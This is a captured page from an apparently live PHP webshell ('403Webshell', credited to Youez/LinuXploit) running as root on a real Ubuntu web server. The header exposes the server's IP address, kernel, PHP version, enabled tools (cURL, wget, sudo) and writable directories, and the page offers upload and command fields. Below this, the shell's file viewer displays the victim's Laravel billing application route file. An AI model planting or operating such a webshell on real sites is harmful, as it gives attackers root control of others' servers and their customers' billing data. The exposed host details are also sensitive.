403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/billing/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/billing/routes/web.php
<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function () {
    return view('landing');
})->name('landing');
Route::get('/offline-billing-software', function () {
    return view('offlinesoft');
})->name('offlinesoft');
Route::get('/login', function () {
    return view('auth.login');
});
Route::get('/subscribe', function () {
    return view('subscribe');
});
Auth::routes();




Route::get('/home', function () {
   
    $route = 'landing';
    if(Gate::allows('dashboard_access') )
    {
        $route =  'admin.home';
    }
    else if(Gate::denies('dashboard_access') && Gate::allows('ticket_access'))
    {
        $route = 'admin.tickets.index' ;
    }
    else if(Gate::allows('user_access_all'))
    {
        $route =  'home';
    }
    else if(Gate::allows('user_only_sub') || Gate::allows('user_access_all')){
        $route =  'subscribe.index';
    }

     if (session('status')) {
         return redirect()->route($route)->with('status', session('status'));
     }
 
     return redirect()->route($route);
 })->middleware(['auth','role_permission']);
 
 Route::group(['prefix' => 'admin', 'as' => 'admin.',  'middleware' => ['auth','role_permission']], function () {
     Route::get('/', [App\Http\Controllers\Admin\HomeController::class,'index'])->name('home');
     // Permissions
     Route::delete('permissions/destroy', [App\Http\Controllers\Admin\PermissionsController::class,'massDestroy'])->name('permissions.massDestroy');
     Route::resource('permissions', App\Http\Controllers\Admin\PermissionsController::class);
 
     // Roles
     Route::delete('roles/destroy', [App\Http\Controllers\Admin\RolesController::class,'massDestroy'])->name('roles.massDestroy');
     Route::resource('roles', App\Http\Controllers\Admin\RolesController::class);
 
     // Users
     Route::delete('users/destroy', [App\Http\Controllers\Admin\UsersController::class,'massDestroy'])->name('users.massDestroy');
     Route::resource('users', App\Http\Controllers\Admin\UsersController::class);
 
     // Statuses
     Route::delete('statuses/destroy', [App\Http\Controllers\Admin\StatusesController::class,'massDestroy'])->name('statuses.massDestroy');
     Route::resource('statuses', App\Http\Controllers\Admin\StatusesController::class);
 
     // Priorities
     Route::delete('priorities/destroy', [App\Http\Controllers\Admin\PrioritiesController::class,'massDestroy'])->name('priorities.massDestroy');
     Route::resource('priorities', App\Http\Controllers\Admin\PrioritiesController::class);
 
     // Categories
     Route::delete('categories/destroy', [App\Http\Controllers\Admin\CategoriesController::class,'massDestroy'])->name('categories.massDestroy');
     Route::resource('categories', App\Http\Controllers\Admin\CategoriesController::class);
 
     // Tickets
     Route::delete('tickets/destroy', [App\Http\Controllers\Admin\TicketsController::class,'massDestroy'])->name('tickets.massDestroy');
     Route::post('tickets/media', [App\Http\Controllers\Admin\TicketsController::class,'storeMedia'])->name('tickets.storeMedia');
     Route::post('tickets/comment/{ticket}', [App\Http\Controllers\Admin\TicketsController::class,'storeComment'])->name('tickets.storeComment');
     Route::resource('tickets', App\Http\Controllers\Admin\TicketsController::class)->middleware('can:ticket_access,dashboard_access');
 
     // Comments
     Route::delete('comments/destroy', [App\Http\Controllers\Admin\CommentsController::class,'massDestroy'])->name('comments.massDestroy');
     Route::resource('comments', App\Http\Controllers\Admin\CommentsController::class);
 
     // Audit Logs
     Route::resource('audit-logs', App\Http\Controllers\Admin\CommentsController::class)->except(['create', 'store', 'edit', 'update', 'destroy']);

   
 });

 Route::group(['middleware' => ['auth','role_permission','can:user_access_all']], function () {
    // Dashboard
    Route::get('/dashboard', [App\Http\Controllers\HomeController::class, 'index'])->name('home');
    // User profile
    Route::get('/settings', [App\Http\Controllers\HomeController::class, 'setting'])->name('user.setting');
    Route::get('/profile', [App\Http\Controllers\HomeController::class, 'profile'])->name('profile');
    Route::post('/update-profile/{id}', [App\Http\Controllers\HomeController::class, 'updateProfile'])->name('update.profile');
    Route::get('/send-daily-activites', [App\Http\Controllers\HomeController::class, 'sendDailyActivites'])->name('email.activites');
    
    // Customer route
    Route::get('/customer/list', [App\Http\Controllers\CustomerController::class, 'index'])->name('customer.index');
    
    Route::get('/customer/add', [App\Http\Controllers\CustomerController::class, 'create'])->name('customer.create');
    
    Route::post('/customer/store', [App\Http\Controllers\CustomerController::class, 'store'])->name('customer.store');
    
    Route::get('/customer/edit/{id}', [App\Http\Controllers\CustomerController::class, 'edit'])->name('customer.edit');
    
    Route::post('/customer/update/{id}', [App\Http\Controllers\CustomerController::class, 'update'])->name('customer.update');
    
    Route::get('/customer/view/{id}', [App\Http\Controllers\CustomerController::class, 'show'])->name('customer.view');
    Route::post('/customer/delete', [App\Http\Controllers\CustomerController::class, 'destroy'])->name('customer.destroy');
    
    
    // Product route
    Route::get('/product/list', [App\Http\Controllers\ProductController::class, 'index'])->name('product.index');
    
    Route::get('/product/add', [App\Http\Controllers\ProductController::class, 'create'])->name('product.create');
    
    Route::post('/product/store', [App\Http\Controllers\ProductController::class, 'store'])->name('product.store');
    
    Route::get('/product/edit/{id}', [App\Http\Controllers\ProductController::class, 'edit'])->name('product.edit');
    
    Route::post('/product/update/{id}', [App\Http\Controllers\ProductController::class, 'update'])->name('product.update');
    
    Route::get('/product/view/{id}', [App\Http\Controllers\ProductController::class, 'show'])->name('product.view');
    Route::post('/product/delete', [App\Http\Controllers\ProductController::class, 'destroy'])->name('product.destroy');
    Route::get('/product/import',[App\Http\Controllers\ProductController::class,'importView'])->name('product.import.view');
    Route::post('/product/import',[App\Http\Controllers\ProductController::class,'import'])->name('product.import');
    // Route::get('product/export', [App\Http\Controllers\ProductController::class, 'export'])->name('product.export');

    //Invoices route
    Route::get('/invoice/list', [App\Http\Controllers\InvoiceController::class, 'index'])->name('invoice.index');
    
    Route::get('/invoice/add', [App\Http\Controllers\InvoiceController::class, 'create'])->name('invoice.create');
    Route::get('/getline', [App\Http\Controllers\InvoiceController::class, 'getline'])->name('invoice.line');
    Route::get('/getprd', [App\Http\Controllers\InvoiceController::class, 'getprd'])->name('invoice.getprd');
    
    
    Route::post('/invoice/store', [App\Http\Controllers\InvoiceController::class, 'store'])->name('invoice.store');
    
    Route::post('/customer-address', [App\Http\Controllers\InvoiceController::class, 'getAddress'])->name('invoice.customer.address');
    
    Route::get('/invoice/edit/{id}', [App\Http\Controllers\InvoiceController::class, 'edit'])->name('invoice.edit');
    
    Route::post('/invoice/update/{id}', [App\Http\Controllers\InvoiceController::class, 'update'])->name('invoice.update');
    
    Route::get('/invoice/view/{id}', [App\Http\Controllers\InvoiceController::class, 'show'])->name('invoice.view');
    Route::post('/delete-invoice', [App\Http\Controllers\InvoiceController::class, 'destroy'])->name('invoice.destroy');
    Route::get('invoice/export', [App\Http\Controllers\InvoiceController::class, 'export'])->name('invoice.export');
    Route::get('invoice/download-pdf/{id}', [App\Http\Controllers\InvoiceController::class, 'pdfview'])->name('pdfview');
    Route::get('invoice/send-email/{id}', [App\Http\Controllers\InvoiceController::class, 'sendEmail'])->name('sendemail');
    
    //report
    Route::get('report/invoice/list', [App\Http\Controllers\ReportController::class, 'invoicesList'])->name('report.list');
    Route::get('report/export-invoice/{date}', [App\Http\Controllers\ReportController::class, 'export'])->name('report.export');
    
    Route::get('report/product/low-inventory', [App\Http\Controllers\ReportController::class, 'lowInventoryProd'])->name('report.low_inventory');
    Route::get('report/export-product', [App\Http\Controllers\ReportController::class, 'exportProduct'])->name('report.product.export');
    
    
    //QuotationController route
    Route::get('/quotation/list', [App\Http\Controllers\QuotationController::class, 'index'])->name('quotation.index');
    
    Route::get('/quotation/add', [App\Http\Controllers\QuotationController::class, 'create'])->name('quotation.create');
    //Route::get('/getline2', [App\Http\Controllers\QuotationController::class, 'getline'])->name('quotation.line');
   // Route::get('/getprd', [App\Http\Controllers\QuotationController::class, 'getprd'])->name('quotation.getprd');
    
    
    Route::post('/quotation/store', [App\Http\Controllers\QuotationController::class, 'store'])->name('quotation.store');
    
    // Route::post('/customer-address', [App\Http\Controllers\QuotationController::class, 'getAddress'])->name('quotation.customer.address');
    
    Route::get('/quotation/edit/{id}', [App\Http\Controllers\QuotationController::class, 'edit'])->name('quotation.edit');
    
    Route::post('/quotation/update/{id}', [App\Http\Controllers\QuotationController::class, 'update'])->name('quotation.update');
    
    Route::get('/quotation/view/{id}', [App\Http\Controllers\QuotationController::class, 'show'])->name('quotation.view');
    Route::post('/delete-quotation', [App\Http\Controllers\QuotationController::class, 'destroy'])->name('quotation.destroy');
    Route::get('quotation/export', [App\Http\Controllers\QuotationController::class, 'export'])->name('quotation.export');
    Route::get('quotation/download-pdf/{id}', [App\Http\Controllers\QuotationController::class, 'pdfview'])->name('quotation.pdfview');      
    Route::get('quotation/send-email/{id}', [App\Http\Controllers\QuotationController::class, 'sendEmail'])->name('quotation.sendemail');
     //Purchase Order route
     Route::get('/purchase/order/list', [App\Http\Controllers\PurchaseOrderController::class, 'index'])->name('purchase_order.index');
    
     Route::get('/purchase/order/add', [App\Http\Controllers\PurchaseOrderController::class, 'create'])->name('purchase_order.create');
     
     
     Route::post('/purchase/order/store', [App\Http\Controllers\PurchaseOrderController::class, 'store'])->name('purchase_order.store');
     
     Route::post('/purchase/order/customer-address', [App\Http\Controllers\PurchaseOrderController::class, 'getAddress'])->name('purchase_order.customer.address');
     
     Route::get('/purchase/order/edit/{id}', [App\Http\Controllers\PurchaseOrderController::class, 'edit'])->name('purchase_order.edit');
     
     Route::post('/purchase/order/update/{id}', [App\Http\Controllers\PurchaseOrderController::class, 'update'])->name('purchase_order.update');
     
     Route::get('/purchase/order/view/{id}', [App\Http\Controllers\PurchaseOrderController::class, 'show'])->name('purchase_order.view');
     Route::post('purchase/order/delete', [App\Http\Controllers\PurchaseOrderController::class, 'destroy'])->name('purchase_order.destroy');
     Route::get('purchase/order/export', [App\Http\Controllers\PurchaseOrderController::class, 'export'])->name('purchase_order.export');
     Route::get('purchase/order/download-pdf/{id}', [App\Http\Controllers\PurchaseOrderController::class, 'pdfview'])->name('purchase_order.pdfview');

     Route::get('purchase/order/send-email/{id}', [App\Http\Controllers\InvoiceController::class, 'sendEmail'])->name('purchase_order.sendemail');
 
    //create ticket
    Route::get('/ticket/create', [App\Http\Controllers\TicketController::class, 'create'])->name('tickets.create');
    Route::post('/ticket/store', [App\Http\Controllers\TicketController::class, 'store'])->name('tickets.store');
    Route::get('/ticket/show/{ticket}', [App\Http\Controllers\TicketController::class, 'show'])->name('tickets.show');
    Route::get('/ticket/list', [App\Http\Controllers\TicketController::class, 'index'])->name('tickets.list');
    Route::post('tickets/media', [App\Http\Controllers\TicketController::class,'storeMedia'])->name('ticket.storeMedia');
    Route::post('tickets/comment/{ticket}', [App\Http\Controllers\TicketController::class,'storeComment'])->name('tickets.storeComment');
    
    });
    
    //subscribe
    Route::get('/subscribe-services', [App\Http\Controllers\SubscribeController::class, 'index'])->name('subscribe.index')->middleware(['auth','role_permission']);

    // Route::get("test",function(){
    //     $subscriptions = \App\Models\Subscription::whereYear('end_date', \Carbon\Carbon::now()->year)
    //     ->whereMonth('end_date','>=',\Carbon\Carbon::now()->month)
    //     ->get(['end_date'])->toArray();
    //     $toDate = \Carbon\Carbon::parse(\Carbon\Carbon::now()->format('Y-m-d'));
    //     $fromDate = \Carbon\Carbon::parse($subscriptions[0]["end_date"])->toDateString();
       
    //     $days = $toDate->diffInDays($fromDate);
    //     if($days==7||$days==4||$days==2||$days==1)
    //     {
    //         dd('Your subscription expire for this month within days');
    //     }
    //     dd($days,$subscriptions[0]["end_date"],$subscriptions);
    // });
   

Youez - 2016 - github.com/yon3zu
LinuXploit